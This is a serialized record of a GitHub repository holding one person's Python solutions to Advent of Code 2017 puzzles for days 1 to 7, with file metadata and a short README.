disk in disks_raw.split('\\n'):\n\tmatch = re.match(r'([a-z]*) \\(([0-9]*)\\)( -> )?([a-z, ]*)?', disk)\n\tdep = []\n\tif match.group(3) is not None:\n\t\tdep = match.group(4).split(', ')\n\tdisks[match.group(1)] = [int(match.group(2)), dep]\n\tparents.append(match.group(1))\n\tchilds.append(dep)\n\nfor child in childs:\n\tif len(child) > 0:\n\t\tfor subchild in child:\n\t\t\tif subchild in parents:\n\t\t\t\tparents.remove(subchild)\nprint(\"Parent: %s %d\" % (parents[0], disks[parents[0]][0]))\n\ntotal_weight = 0\nfor key, disk in disks.items():\n\tweight = disk[0]\n\tif len(disk[1]) > 0:\n\t\tfor child in disk[1]:\n\t\t\tweight += disks[key][0]\n\t\ttotal_weight = weight \n\t\tprint(weight, disk)"},{"alpha_fraction":0.5530303120613098,"alphanum_fraction":0.5848484635353088,"avg_line_length":18.41176414489746,"blob_id":"d60e7de0305acd58afa5c870b100027c44a22e5a","content_id":"36e33c8e6faf2c9b34ff448b1d7df46e213f1434","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":660,"license_type":"permissive","max_line_length":55,"num_lines":34,"path":"/day6/6-1.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 06 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\tbanks = input_file.read()\n\nbanks = banks.split('\\t')\nbanks = list(map(int, banks))\ncurrent_i = 0\nlog = []\nsteps = 0\n\nwhile True:\n\tcurrent_i = banks.index(max(banks))\n\tval = banks[current_i]\n\tbanks[current_i] = 0\n\tnext_i = current_i + 1\n\twhile (val > 0):\n\t\tif next_i >= len(banks):\n\t\t\tnext_i = 0\n\t\tbanks[next_i] += 1\n\t\tval -= 1\n\t\tnext_i += 1\n\tsteps += 1\n\tif '-'.join(str(x) for x in banks) in log:\n\t\tbreak\n\tlog.append('-'.join(str(x) for x in banks))\n\nprint(\"Steps: %d\" % (steps))\n"},{"alpha_fraction":0.5730858445167542,"alphanum_fraction":0.6055684685707092,"avg_line_length":17.7391300201416,"blob_id":"69a1bef0f292c0fca2b5335e2f037ddbddc93638","content_id":"ecf20188c94a98154e74de2cd69b4da56fa83af3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":431,"license_type":"permissive","max_line_length":55,"num_lines":23,"path":"/day1/1-1.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 01 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nwith open('input.txt', 'r') as input_file:\n\tcontent = input_file.read()\n\nresult = 0\ncontent = str(content)\n\nfor i, digit in enumerate(content):\n\tindex = i + 1\n\n\tif (index == len(content)):\n\t\tindex = 0\n\n\tif (digit == content[index]):\n\t\tresult = result + int(digit)\n\nprint(\"Result: %d\" % (result))\n"},{"alpha_fraction":0.6470588445663452,"alphanum_fraction":0.7411764860153198,"avg_line_length":41.5,"blob_id":"bb70ee18c4a3668ad5c595bcd430425822264b68","content_id":"dc9dc3806ebb7dbe0528043eda6edb6fe1d9c7b3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":85,"license_type":"permissive","max_line_length":62,"num_lines":2,"path":"/README.md","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"# Advent of Code 2017\nSolutions to [Advent of Code 2017](https://adventofcode.com/).\n"},{"alpha_fraction":0.532314121723175,"alphanum_fraction":0.5740097165107727,"avg_line_length":15.352272987365723,"blob_id":"79d10f0ce293a5729e9f0c47f7ca59bc97f7725e","content_id":"bfac6fd61ada05ea7876b859b22f6a27293c65b3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1439,"license_type":"permissive","max_line_length":83,"num_lines":88,"path":"/day3/3-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport numpy\n\nto = 368078\n\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\nif (matrix_size % 2 == 0):\n\tmatrix_size += 1\nmatrix_size += 2\n\nhalf = int(matrix_size/2)\n\ngrid = []\nfor _ in range(0, matrix_size):\n\tgrid.append([0] * matrix_size)\n\ndef nextDirection(val):\n\tval += 1\n\tif val > 4:\n\t\tval = 1\n\treturn val\n\ndef countNear(grid, x, y):\n\tcounter = 0\n\tcounter += grid[y+1][x+1]\n\tcounter += grid[y][x+1]\n\tcounter += grid[y-1][x+1]\n\tcounter += grid[y+1][x]\n\tcounter += grid[y-1][x]\n\tcounter += grid[y+1][x-1]\n\tcounter += grid[y][x-1]\n\tcounter += grid[y-1][x-1]\n\treturn counter\n\nx = half\ny = half\nlast_x = half\nlast_y = half\nc = 1\n\ns = 1\nmax_step = 1\ndirection = 1\nfirst = True\nfor item in range(0, to):\n\tnear = countNear(grid, x, y)\n\tif near == 0:\n\t\tnear = 1\n\tgrid[y][x] = near\n\tc += 1\n\tlast_y = y\n\tlast_x = x\n\tif near > to:\n\t\tbreak;\n\tif s > 0:\n\t\ts -= 1\n\telse:\n\t\tdirection = nextDirection(direction)\n\t\tif first == True:\n\t\t\ts = max_step - 1\n\t\t\tfirst = False\n\t\telse:\n\t\t\ts = max_step\n\t\t\tmax_step += 1\n\t\t\tfirst = True\n\n\tif direction == 1:\n\t\t# Right\n\t\tx += 1\n\telif direction == 2:\n\t\t# Up\n\t\ty -= 1\n\telif direction == 3:\n\t\t# Left\n\t\tx -= 1\n\telif direction == 4:\n\t\t# Down\n\t\ty += 1\n\n\ndistance = abs(last_x - half) + abs(last_y - half)\nprint(\"%d (%d;%d) Distance: %d\" % (grid[last_y][last_x], last_x, last_y, distance))\n"},{"alpha_fraction":0.5546666383743286,"alphanum_fraction":0.5893333554267883,"avg_line_length":21.058822631835938,"blob_id":"96504f377a3d21bb59060f5e1bf67556c24a1ca9","content_id":"f5dafe0d86f4d28fe9013399a0a97b76a0e21806","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":375,"license_type":"permissive","max_line_length":55,"num_lines":17,"path":"/day4/4-1.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\ncounter = 0;\nfor row in rows:\n\trow = row.rstrip('\\n')\n\tif len(set(row.split(' '))) == len(row.split(' ')):\n\t\tcounter += 1\nprint(\"Valid passphares: %d\" % (counter))\n"},{"alpha_fraction":0.5439624786376953,"alphanum_fraction":0.5720984935760498,"avg_line_length":19.80487823486328,"blob_id":"7b4087f39c9e7f276bc42389c5728bf12645e273","content_id":"2678a8b498b68e4a83902699be21201b1342760c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":853,"license_type":"permissive","max_line_length":65,"num_lines":41,"path":"/day6/6-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 06 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\tbanks = input_file.read()\n\nbanks = [int(x) for x in banks.split('\\t')]\ncurrent_i = 0\nlog = []\nsteps = 0\nend = False\n\nwhile True:\n\tcurrent_i = banks.index(max(banks))\n\tval = banks[current_i]\n\tbanks[current_i] = 0\n\tnext_i = current_i + 1\n\twhile (val > 0):\n\t\tif next_i >= len(banks):\n\t\t\tnext_i = 0\n\t\tbanks[next_i] += 1\n\t\tval -= 1\n\t\tnext_i += 1\n\tsteps += 1\n\tif '-'.join(str(x) for x in banks) in (logs[0] for logs in log):\n\t\tseq = '-'.join(str(x) for x in banks)\n\t\tfor row in log:\n\t\t\tif row[0] == seq:\n\t\t\t\tprint(\"Result: %d\" % (steps - row[1]))\n\t\t\t\tend = True\n\t\t\t\tbreak\n\tif end:\n\t\tbreak\n\tlog.append(['-'.join(str(x) for x in banks), steps])\n\nprint(\"Total steps: %d\" % (steps))\n"},{"alpha_fraction":0.5513308048248291,"alphanum_fraction":0.5760456323623657,"avg_line_length":20.040000915527344,"blob_id":"d7c90a413da7b2472c496f22778efaa5b145965d","content_id":"f2c55b509042659b5addc00273133b9ba711a22d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":526,"license_type":"permissive","max_line_length":55,"num_lines":25,"path":"/day4/4-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\ncounter = 0;\nfor row in rows:\n\trow = row.rstrip('\\n')\n\tif len(set(row.split(' '))) == len(row.split(' ')):\n\n\t\twords = []\n\t\tfor word in row.split(' '):\n\t\t\tword = list(word)\n\t\t\tword.sort()\n\t\t\twords.append(''.join(word))\n\t\tif (len(set(words)) == len(words)):\n\t\t\tcounter += 1\n\nprint(\"Valid passphares: %d\" % (counter))\n"},{"alpha_fraction":0.584942102432251,"alphanum_fraction":0.6119691133499146,"avg_line_length":20.58333396911621,"blob_id":"d71ae79d82621e4fdef949a903ef5a2844bf7ec2","content_id":"d421e9d3c7aff5c73efdd26e943ac09aa528979a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":518,"license_type":"permissive","max_line_length":55,"num_lines":24,"path":"/day2/2-1.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 02 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nchecksum = 0\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\nfor row in rows:\n\trow = row.split('\\t')\n\trow_min = int(row[0])\n\trow_max = int(row[0])\n\tfor element in row:\n\t\tif int(element) < row_min:\n\t\t\trow_min = int(element)\n\t\tif int(element) > row_max:\n\t\t\trow_max = int(element)\n\tchecksum = checksum + (row_max-row_min)\n\nprint(\"Checksum: %d\" % (checksum))\n"},{"alpha_fraction":0.5579150319099426,"alphanum_fraction":0.5926640629768372,"avg_line_length":19.719999313354492,"blob_id":"3aa9fb9bca93abd2bee545db8ed2f89b31b8dc98","content_id":"596163f01d716c3bfb8bf41d838161a900826f73","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":518,"license_type":"permissive","max_line_length":55,"num_lines":25,"path":"/day5/5-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 05 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.read()\n\nrows = rows.split('\\n')\nindex = 0\nsteps = 0\n\nwhile (index >= 0) and (index < len(rows)):\n\told_index = index\n\tindex = index + int(rows[index])\n\tif int(rows[old_index]) >= 3:\n\t\trows[old_index] = int(rows[old_index]) - 1\n\telse:\n\t\trows[old_index] = int(rows[old_index]) + 1\n\tsteps += 1\n\nprint(\"Steps: %d\" % (steps))\n"},{"alpha_fraction":0.5286259651184082,"alphanum_fraction":0.5706107020378113,"avg_line_length":13.971428871154785,"blob_id":"ee2788d16862d9616716e77d27fa76f63999fe0b","content_id":"1674c96696a99195de668178fa9fa66b1ee9f33c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1048,"license_type":"permissive","max_line_length":57,"num_lines":70,"path":"/day3/3-1.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport numpy\n\nto = 368078\n\ndef nextDirection(val):\n\tval += 1\n\tif val > 4:\n\t\tval = 1\n\treturn val\n\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\nif (matrix_size % 2 == 0):\n\tmatrix_size += 1\n\nhalf = int(matrix_size/2)\n\ngrid = []\nfor _ in range(0, matrix_size):\n\tgrid.append([0] * matrix_size)\n\nx = half\ny = half\nlast_x = half\nlast_y = half\nc = 1\n\ns = 1\nmax_step = 1\ndirection = 1\nfirst = True\nfor item in range(0, to):\n\tgrid[y][x] = c\n\tlast_y = y\n\tlast_x = x\n\tc += 1\n\tif s > 0:\n\t\ts -= 1\n\telse:\n\t\tdirection = nextDirection(direction)\n\t\tif first == True:\n\t\t\ts = max_step - 1\n\t\t\tfirst = False\n\t\telse:\n\t\t\ts = max_step\n\t\t\tmax_step += 1\n\t\t\tfirst = True\n\n\tif direction == 1:\n\t\t# Right\n\t\tx += 1\n\telif direction == 2:\n\t\t# Up\n\t\ty -= 1\n\telif direction == 3:\n\t\t# Left\n\t\tx -= 1\n\telif direction == 4:\n\t\t# Down\n\t\ty += 1\n\n\ndistance = abs(last_x - half) + abs(last_y - half)\nprint(\"(%d;%d) Distance: %d\" % (last_x,last_y, distance))\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5820610523223877,\n \"alphanum_fraction\": 0.6164122223854065,\n \"avg_line_length\": 19.959999084472656,\n \"blob_id\": \"ef7178f277a85aacf1b60fe8a4fee96b8734e2d0\",\n \"content_id\": \"80c4dfe3807ba08fc2152a11e99070fa66ac84bc\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 524,\n \"license_type\": \"permissive\",\n \"max_line_length\": 70,\n \"num_lines\": 25,\n \"path\": \"/day2/2-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 02 - Puzzle: 2\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\ndef find(row):\\n\\trow2 = row\\n\\tfor element in row:\\n\\t\\tfor element2 in row:\\n\\t\\t\\tif (element != element2) and ((int(element) % int(element2)) == 0):\\n\\t\\t\\t\\treturn (int(element) / int(element2))\\n\\n\\nchecksum = 0\\nwith open('input.txt', 'r') as input_file:\\n\\trows = input_file.readlines()\\n\\nfor row in rows:\\n\\trow = row.split('\\\\t')\\n\\tchecksum = checksum + find(row)\\n\\nprint(\\\"Checksum: %d\\\" % (int(checksum)))\\n\"\n },\n {\n \"alpha_fraction\": 0.5729967355728149,\n \"alphanum_fraction\": 0.603732168674469,\n \"avg_line_length\": 22.384614944458008,\n \"blob_id\": \"3c6a1bd6d59325e100ac5aad9bad8a118e00c0b8\",\n \"content_id\": \"1e966652dee0c31725d57b49afa85d7da2d61e69\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 911,\n \"license_type\": \"permissive\",\n \"max_line_length\": 67,\n \"num_lines\": 39,\n \"path\": \"/day7/7-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 07 - Puzzle: 2\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\nimport re\\n\\nwith open('input.txt', 'r') as input_file:\\n\\tdisks_raw = input_file.read()\\n\\ndisks = {}\\nparents = []\\nchilds = []\\nfor disk in disks_raw.split('\\\\n'):\\n\\tmatch = re.match(r'([a-z]*) \\\\(([0-9]*)\\\\)( -> )?([a-z, ]*)?', disk)\\n\\tdep = []\\n\\tif match.group(3) is not None:\\n\\t\\tdep = match.group(4).split(', ')\\n\\tdisks[match.group(1)] = [int(match.group(2)), dep]\\n\\tparents.append(match.group(1))\\n\\tchilds.append(dep)\\n\\nfor child in childs:\\n\\tif len(child) > 0:\\n\\t\\tfor subchild in child:\\n\\t\\t\\tif subchild in parents:\\n\\t\\t\\t\\tparents.remove(subchild)\\nprint(\\\"Parent: %s %d\\\" % (parents[0], disks[parents[0]][0]))\\n\\ntotal_weight = 0\\nfor key, disk in disks.items():\\n\\tweight = disk[0]\\n\\tif len(disk[1]) > 0:\\n\\t\\tfor child in disk[1]:\\n\\t\\t\\tweight += disks[key][0]\\n\\t\\ttotal_weight = weight \\n\\t\\tprint(weight, disk)\"\n },\n {\n \"alpha_fraction\": 0.5530303120613098,\n \"alphanum_fraction\": 0.5848484635353088,\n \"avg_line_length\": 18.41176414489746,\n \"blob_id\": \"d60e7de0305acd58afa5c870b100027c44a22e5a\",\n \"content_id\": \"36e33c8e6faf2c9b34ff448b1d7df46e213f1434\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 660,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 34,\n \"path\": \"/day6/6-1.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 06 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\nwith open('input.txt', 'r') as input_file:\\n\\tbanks = input_file.read()\\n\\nbanks = banks.split('\\\\t')\\nbanks = list(map(int, banks))\\ncurrent_i = 0\\nlog = []\\nsteps = 0\\n\\nwhile True:\\n\\tcurrent_i = banks.index(max(banks))\\n\\tval = banks[current_i]\\n\\tbanks[current_i] = 0\\n\\tnext_i = current_i + 1\\n\\twhile (val > 0):\\n\\t\\tif next_i >= len(banks):\\n\\t\\t\\tnext_i = 0\\n\\t\\tbanks[next_i] += 1\\n\\t\\tval -= 1\\n\\t\\tnext_i += 1\\n\\tsteps += 1\\n\\tif '-'.join(str(x) for x in banks) in log:\\n\\t\\tbreak\\n\\tlog.append('-'.join(str(x) for x in banks))\\n\\nprint(\\\"Steps: %d\\\" % (steps))\\n\"\n },\n {\n \"alpha_fraction\": 0.5730858445167542,\n \"alphanum_fraction\": 0.6055684685707092,\n \"avg_line_length\": 17.7391300201416,\n \"blob_id\": \"69a1bef0f292c0fca2b5335e2f037ddbddc93638\",\n \"content_id\": \"ecf20188c94a98154e74de2cd69b4da56fa83af3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 431,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 23,\n \"path\": \"/day1/1-1.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 01 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\nwith open('input.txt', 'r') as input_file:\\n\\tcontent = input_file.read()\\n\\nresult = 0\\ncontent = str(content)\\n\\nfor i, digit in enumerate(content):\\n\\tindex = i + 1\\n\\n\\tif (index == len(content)):\\n\\t\\tindex = 0\\n\\n\\tif (digit == content[index]):\\n\\t\\tresult = result + int(digit)\\n\\nprint(\\\"Result: %d\\\" % (result))\\n\"\n },\n {\n \"alpha_fraction\": 0.6470588445663452,\n \"alphanum_fraction\": 0.7411764860153198,\n \"avg_line_length\": 41.5,\n \"blob_id\": \"bb70ee18c4a3668ad5c595bcd430425822264b68\",\n \"content_id\": \"dc9dc3806ebb7dbe0528043eda6edb6fe1d9c7b3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 85,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Advent of Code 2017\\nSolutions to [Advent of Code 2017](https://adventofcode.com/).\\n\"\n },\n {\n \"alpha_fraction\": 0.532314121723175,\n \"alphanum_fraction\": 0.5740097165107727,\n \"avg_line_length\": 15.352272987365723,\n \"blob_id\": \"79d10f0ce293a5729e9f0c47f7ca59bc97f7725e\",\n \"content_id\": \"bfac6fd61ada05ea7876b859b22f6a27293c65b3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1439,\n \"license_type\": \"permissive\",\n \"max_line_length\": 83,\n \"num_lines\": 88,\n \"path\": \"/day3/3-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 04 - Puzzle: 2\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\nimport numpy\\n\\nto = 368078\\n\\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\\nif (matrix_size % 2 == 0):\\n\\tmatrix_size += 1\\nmatrix_size += 2\\n\\nhalf = int(matrix_size/2)\\n\\ngrid = []\\nfor _ in range(0, matrix_size):\\n\\tgrid.append([0] * matrix_size)\\n\\ndef nextDirection(val):\\n\\tval += 1\\n\\tif val > 4:\\n\\t\\tval = 1\\n\\treturn val\\n\\ndef countNear(grid, x, y):\\n\\tcounter = 0\\n\\tcounter += grid[y+1][x+1]\\n\\tcounter += grid[y][x+1]\\n\\tcounter += grid[y-1][x+1]\\n\\tcounter += grid[y+1][x]\\n\\tcounter += grid[y-1][x]\\n\\tcounter += grid[y+1][x-1]\\n\\tcounter += grid[y][x-1]\\n\\tcounter += grid[y-1][x-1]\\n\\treturn counter\\n\\nx = half\\ny = half\\nlast_x = half\\nlast_y = half\\nc = 1\\n\\ns = 1\\nmax_step = 1\\ndirection = 1\\nfirst = True\\nfor item in range(0, to):\\n\\tnear = countNear(grid, x, y)\\n\\tif near == 0:\\n\\t\\tnear = 1\\n\\tgrid[y][x] = near\\n\\tc += 1\\n\\tlast_y = y\\n\\tlast_x = x\\n\\tif near > to:\\n\\t\\tbreak;\\n\\tif s > 0:\\n\\t\\ts -= 1\\n\\telse:\\n\\t\\tdirection = nextDirection(direction)\\n\\t\\tif first == True:\\n\\t\\t\\ts = max_step - 1\\n\\t\\t\\tfirst = False\\n\\t\\telse:\\n\\t\\t\\ts = max_step\\n\\t\\t\\tmax_step += 1\\n\\t\\t\\tfirst = True\\n\\n\\tif direction == 1:\\n\\t\\t# Right\\n\\t\\tx += 1\\n\\telif direction == 2:\\n\\t\\t# Up\\n\\t\\ty -= 1\\n\\telif direction == 3:\\n\\t\\t# Left\\n\\t\\tx -= 1\\n\\telif direction == 4:\\n\\t\\t# Down\\n\\t\\ty += 1\\n\\n\\ndistance = abs(last_x - half) + abs(last_y - half)\\nprint(\\\"%d (%d;%d) Distance: %d\\\" % (grid[last_y][last_x], last_x, last_y, distance))\\n\"\n },\n {\n \"alpha_fraction\": 0.5546666383743286,\n \"alphanum_fraction\": 0.5893333554267883,\n \"avg_line_length\": 21.058822631835938,\n \"blob_id\": \"96504f377a3d21bb59060f5e1bf67556c24a1ca9\",\n \"content_id\": \"f5dafe0d86f4d28fe9013399a0a97b76a0e21806\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 375,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 17,\n \"path\": \"/day4/4-1.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 04 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\nwith open('input.txt', 'r') as input_file:\\n\\trows = input_file.readlines()\\n\\ncounter = 0;\\nfor row in rows:\\n\\trow = row.rstrip('\\\\n')\\n\\tif len(set(row.split(' '))) == len(row.split(' ')):\\n\\t\\tcounter += 1\\nprint(\\\"Valid passphares: %d\\\" % (counter))\\n\"\n },\n {\n \"alpha_fraction\": 0.5439624786376953,\n \"alphanum_fraction\": 0.5720984935760498,\n \"avg_line_length\": 19.80487823486328,\n \"blob_id\": \"7b4087f39c9e7f276bc42389c5728bf12645e273\",\n \"content_id\": \"2678a8b498b68e4a83902699be21201b1342760c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 853,\n \"license_type\": \"permissive\",\n \"max_line_length\": 65,\n \"num_lines\": 41,\n \"path\": \"/day6/6-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 06 - Puzzle: 2\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\nwith open('input.txt', 'r') as input_file:\\n\\tbanks = input_file.read()\\n\\nbanks = [int(x) for x in banks.split('\\\\t')]\\ncurrent_i = 0\\nlog = []\\nsteps = 0\\nend = False\\n\\nwhile True:\\n\\tcurrent_i = banks.index(max(banks))\\n\\tval = banks[current_i]\\n\\tbanks[current_i] = 0\\n\\tnext_i = current_i + 1\\n\\twhile (val > 0):\\n\\t\\tif next_i >= len(banks):\\n\\t\\t\\tnext_i = 0\\n\\t\\tbanks[next_i] += 1\\n\\t\\tval -= 1\\n\\t\\tnext_i += 1\\n\\tsteps += 1\\n\\tif '-'.join(str(x) for x in banks) in (logs[0] for logs in log):\\n\\t\\tseq = '-'.join(str(x) for x in banks)\\n\\t\\tfor row in log:\\n\\t\\t\\tif row[0] == seq:\\n\\t\\t\\t\\tprint(\\\"Result: %d\\\" % (steps - row[1]))\\n\\t\\t\\t\\tend = True\\n\\t\\t\\t\\tbreak\\n\\tif end:\\n\\t\\tbreak\\n\\tlog.append(['-'.join(str(x) for x in banks), steps])\\n\\nprint(\\\"Total steps: %d\\\" % (steps))\\n\"\n },\n {\n \"alpha_fraction\": 0.5513308048248291,\n \"alphanum_fraction\": 0.5760456323623657,\n \"avg_line_length\": 20.040000915527344,\n \"blob_id\": \"d7c90a413da7b2472c496f22778efaa5b145965d\",\n \"content_id\": \"f2c55b509042659b5addc00273133b9ba711a22d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 526,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 25,\n \"path\": \"/day4/4-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 04 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\nwith open('input.txt', 'r') as input_file:\\n\\trows = input_file.readlines()\\n\\ncounter = 0;\\nfor row in rows:\\n\\trow = row.rstrip('\\\\n')\\n\\tif len(set(row.split(' '))) == len(row.split(' ')):\\n\\n\\t\\twords = []\\n\\t\\tfor word in row.split(' '):\\n\\t\\t\\tword = list(word)\\n\\t\\t\\tword.sort()\\n\\t\\t\\twords.append(''.join(word))\\n\\t\\tif (len(set(words)) == 